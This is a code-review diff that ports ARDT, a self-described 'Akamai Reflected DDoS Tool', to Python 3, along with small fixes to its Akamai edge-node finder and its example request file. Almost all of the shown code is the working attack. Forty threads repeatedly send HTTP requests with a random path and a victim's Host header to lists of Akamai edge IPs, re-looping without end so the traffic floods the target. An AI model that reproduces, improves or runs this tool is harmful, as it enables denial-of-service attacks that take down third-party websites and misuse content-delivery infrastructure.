Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
91 changes: 51 additions & 40 deletions ARDT.py
100644 → 100755
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
#!/usr/bin/env python
#!/usr/bin/env python3
#
######################################

Expand All @@ -10,7 +10,8 @@
import string
import random
import hashlib
import Queue
import queue
import base64

c_g = "\033[1;32m"
c_r = "\033[1;31m"
Expand All @@ -22,22 +23,33 @@
base_request = ""
threads = []
num_threads = 40
VERSION = "v1.0"
VERSION = "v1.1"

def banner():
print c_g
print "IOKWiOKWiOKWiOKWiOKWiOKVlyDilojilojilojilojilojilojilZcg4paI4paI4paI4paI4paI4paI4pWXIOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKVlwrilojilojilZTilZDilZDilojilojilZfilojilojilZTilZDilZDilojilojilZfilojilojilZTilZDilZDilojilojilZfilZrilZDilZDilojilojilZTilZDilZDilZ0K4paI4paI4paI4paI4paI4paI4paI4pWR4paI4paI4paI4paI4paI4paI4pWU4pWd4paI4paI4pWRICDilojilojilZEgICDilojilojilZEgICAK4paI4paI4pWU4pWQ4pWQ4paI4paI4pWR4paI4paI4pWU4pWQ4pWQ4paI4paI4pWX4paI4paI4pWRICDilojilojilZEgICDilojilojilZEgICAK4paI4paI4pWRICDilojilojilZHilojilojilZEgIOKWiOKWiOKVkeKWiOKWiOKWiOKWiOKWiOKWiOKVlOKVnSAgIOKWiOKWiOKVkSAgIArilZrilZDilZ0gIOKVmuKVkOKVneKVmuKVkOKVnSAg4pWa4pWQ4pWd4pWa4pWQ4pWQ4pWQ4pWQ4pWQ4pWdICAgIOKVmuKVkOKVnSAgICVzCg==".decode("base64") % VERSION
print c_e
print " Akamai Reflected DDoS Tool\n"
print "\tby @program_ninja"
print " https://github.com/m57/ARDT.git"
print "_" * 37 + "\n"
print(c_g)
print("""
█████╗ ██████╗ ██████╗ ████████╗
██╔══██╗██╔══██╗██╔══██╗╚══██╔══╝
███████║██████╔╝██║ ██║ ██║
██╔══██║██╔══██╗██║ ██║ ██║
██║ ██║██║ ██║██████╔╝ ██║
╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝ ╚═╝ %s
""" % VERSION)

print(c_e)
print(" Akamai Reflected DDoS Tool")
print("\tby @program_ninja - https://github.com/m57/ARDT.git")
print("")
print(" Python 3 port and fixes")
print("\tby @dercraig - https://twitter.com/dercraig")
print("\t https://github.com/craig/ARDT.git")
print("_____________________________________")



def usage():
banner()
print "Usage: %s -l [akamai_list] -t [victim_host] -r [request_file] -n [threads (default: 40)] " % sys.argv[0]
print ""
print("Usage: %s -l [akamai_list] -t [victim_host] -r [request_file] -n [threads (default: 40)]\n" % sys.argv[0])
exit()

def gen_rand_string():
Expand All @@ -49,7 +61,7 @@ def gen_rand_string():
rand_string += str(random.randint(1,999999))
rand_string += charset[random.randint(0,len(charset)-1)]

return hashlib.md5(rand_string).hexdigest()
return hashlib.md5(rand_string.encode()).hexdigest()


class WorkerThread(threading.Thread):
Expand All @@ -61,31 +73,31 @@ def __init__(self, qin, tid):
self.kill_received = False

def stop(self):
self.kill_recieved = True
self.kill_received = True

def run(self):
while not self.kill_received:
while True:
try:
akami_ip = self.qin.get(timeout=1)
akamai_ip = self.qin.get(timeout=1)

except Queue.Empty:
except queue.Empty:

print c_y + "[?] " + c_e + "Queue empty, please wait..."
print(c_y + "[?] " + c_e + "Queue empty, please wait...")

try:
r = base_request.replace("%RANDOM%", gen_rand_string())
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect( (akami_ip, 80) )
s.send(r)
s.connect( (akamai_ip, 80) )
s.send(r.encode())
ret = s.recv(16).strip()
print c_g + "[Thread '%d' ] Packet => '%s:80' => Response '%s'" % (self.tid, akami_ip, ret) + c_e
print(c_g + "[Thread '%d' ] Packet => '%s:80' => Response '%s'" % (self.tid, akamai_ip, ret) + c_e)
s.close()
self.qin.task_done()

except:
print c_r + "[!] " + c_e + "Error contacting '%s:80'" % akami_ip
print(c_r + "[!] " + c_e + "Error contacting '%s:80'" % akamai_ip)
s.close()


Expand All @@ -104,22 +116,22 @@ def run(self):

banner()

akamai_list = sys.argv[sys.argv.index("-l")+1]
akamai_list = sys.argv[sys.argv.index("-l")+1]
request_f = sys.argv[sys.argv.index("-r")+1]

try:
request_file = open(request_f, "r")
base_request = request_file.read()
if "Host: " not in base_request and not t_check:
print c_r + "[!] " + c_e + "'Host: ' field not found in HTTP(s) request file '%s', either set this manually or use '-t www.target.com' in the command line options" % request_f
print(c_r + "[!] " + c_e + "'Host: ' field not found in HTTP(s) request file '%s', either set this manually or use '-t www.target.com' in the command line options" % request_f)
exit()
elif "Host: " in base_request and not t_check:
reg = "(Host: .*)"
target = re.findall(reg, base_request)[0].split(":")[1].strip()

except:
print c_r + "[!] " + c_e,
print "Error opening request file: '%s'." % request_f
print(c_r + "[!] " + c_e,)
print("Error opening request file: '%s'." % request_f)
exit()

try:
Expand All @@ -131,31 +143,31 @@ def run(self):
pass

try:
akami_file = open(akamai_list, "r")
for i in akami_file.readlines():
akamai_file = open(akamai_list, "r")
for i in akamai_file.readlines():
akamai_ips.append(i.strip())

except:
print c_r + "[!] " + c_e,
print "Error opening Akamai list file: '%s'." % akamai_list
print(c_r + "[!] " + c_e,)
print("Error opening Akamai list file: '%s'." % akamai_list)
exit()


start_time = time.time()

print c_y + "[?] " + c_e + " Target: '%s'" % target
print c_y + "[?] " + c_e + " Request file: '%s'" % request_f
print c_y + "[?] " + c_e + " Akamai EdgeHosts file ('%s' IP's): '%s'" % ( len(akamai_ips), akamai_list)
print c_y + "[?] " + c_e + " Threads '%d'\n" % num_threads
print(c_y + "[?] " + c_e + " Target: '%s'" % target )
print(c_y + "[?] " + c_e + " Request file: '%s'" % request_f )
print(c_y + "[?] " + c_e + " Akamai EdgeHosts file ('%s' IP's): '%s'" % ( len(akamai_ips), akamai_list))
print(c_y + "[?] " + c_e + " Threads '%d'\n" % num_threads)

x = raw_input(c_r + "[!] " + c_e + " This is about to perform a reflected DDoS attack with the above settings.\nAre you sure ? [Y/N] ")
x = input(c_r + "[!] " + c_e + " This is about to perform a reflected DDoS attack with the above settings.\nAre you sure ? [Y/N] ")

if not (x[:1] == "y") or (x[:1] == "Y"):
print c_r + "[!] " + c_e + " Exiting..."
print(c_r + "[!] " + c_e + " Exiting...")
exit()

while True:
qin = Queue.Queue()
qin = queue.Queue()
try:
for i in range(0, num_threads):
worker = WorkerThread(qin, i)
Expand All @@ -169,12 +181,11 @@ def run(self):

qin.join()

print c_g + "[*] " + c_e + "All Akamai hosts done, re-looping!"
print(c_g + "[*] " + c_e + "All Akamai hosts done, re-looping!")
time.sleep(1)

except KeyboardInterrupt:

print c_r + "[!] " + c_e + "Ctrl+C Caught! Exiting threads..."
print(c_r + "[!] " + c_e + "Ctrl+C Caught! Exiting threads...")
for t in threads:
t.stop()
sys.exit(0)
sys.exit(0)
2 changes: 1 addition & 1 deletion ARDT_Akamai_EdgeNode_Finder.py
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,7 @@
addr = "";

ips = []
outfile="akami-ips.txt"
outfile="akamai-ips.txt"

f = open(outfile, "a")

Expand Down
8 changes: 3 additions & 5 deletions ExampleHTTPReq.txt
Original file line number Diff line number Diff line change
@@ -1,5 +1,3 @@
GET /%RANDOM% HTTP/1.1
Host: www.target.com



GET /%RANDOM% HTTP/1.1
Host: www.target.com